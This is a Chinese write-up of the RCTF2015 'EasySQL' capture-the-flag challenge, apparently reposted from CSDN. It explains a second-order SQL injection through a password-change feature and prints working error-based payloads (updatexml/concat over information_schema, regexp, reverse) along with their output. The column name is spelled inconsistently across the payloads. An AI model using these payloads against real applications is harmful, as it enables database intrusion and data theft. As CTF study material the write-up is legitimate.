标签:real 1s RCTF2015 xxx EasySQL flag 报错 concat
[RCTF2015]EasySQL
知识点:二次注入,报错注入
文章目录
二次注入
题目环境有注册,登录,修改密码功能,修改密码处存在二次注入漏洞,当注册的名字为admin"时,然后进行修改密码,会导致报错。
推测更新密码的语句是
password='xxxx' where username="xxxx" and pwd='xxxx'
知道这里可以报错之后,利用报错注入
报错注入
得表名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#
XPATH syntax error: '~article,flag,users~'
flag表里面是假的flag
得字段名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
XPATH syntax error: '~name,pwd,email,real_flag_1s_her'
得列名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1))#
XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'
到了列名这里,回显比较特殊,说不存在这个表。可能是表的名称不够完整,需要使用匹配将其补充完整。
可以使用正则匹配regexp('^r')
读取flag
regexp('^r')
是mysql的正则,匹配以r
开头的字段,也就是字段名:real_flag_1s_her
admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
XPATH syntax error: '~flag{20a2cc3d-ff1a-4748-beed-e8'
剩下的一半使用reverse()读取
admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_her)regexp('^f')))),1))#
XPATH syntax error: '~}0a48ef5e3b8e-deeb-8474-a1ff-d3'
然后进行一下反转
标签:real,1s,RCTF2015,xxx,EasySQL,flag,报错,concat 来源: https://blog.csdn.net/RABCDXB/article/details/122491459
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。